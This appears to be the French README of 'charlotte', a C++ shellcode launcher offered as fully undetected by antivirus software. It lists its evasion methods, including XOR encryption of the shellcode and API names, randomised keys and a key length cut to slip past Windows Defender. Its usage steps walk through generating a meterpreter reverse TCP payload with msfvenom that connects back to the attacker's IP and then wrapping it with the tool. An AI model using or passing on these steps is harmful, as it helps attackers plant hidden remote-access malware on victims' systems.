charlotte

un lanceur de shellcode c++ totalement indétecté ;)

publié pour célébrer la naissance de mon nouveau-né

description

13/05/2021:

1. lanceur de shellcode c++, totalement indétecté 0/26 en date du 13 mai 2021.
2. invocation dynamique des fonctions d'API win32
3. chiffrement XOR du shellcode et des noms de fonctions
4. clés XOR et variables randomisées à chaque exécution
5. sur Kali Linux, simplement 'apt-get install mingw-w64*' et voilà!

17/05/2021:

6. longueur aléatoire des chaînes et longueur des clés XOR

antiscan.me

utilisation

clonez le dépôt, générez votre fichier de shellcode nommé beacon.bin, et exécutez charlotte.py

exemple :

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. profit

testé avec msfvenom -p (montré dans le .gif POC ci-dessous) et aussi avec un payload au format brut de Cobalt Strike

mise à jour v1.1

17/05/21:

apparemment, Microsoft Windows Defender a pu détecter le binaire .DLL,

et comment l'ont-ils signalé ? en recherchant plusieurs clés XOR de 16 octets

le passer à 9 comme montré dans le .gif POC ci-dessous montre qu'il est maintenant à nouveau indétecté

bravo !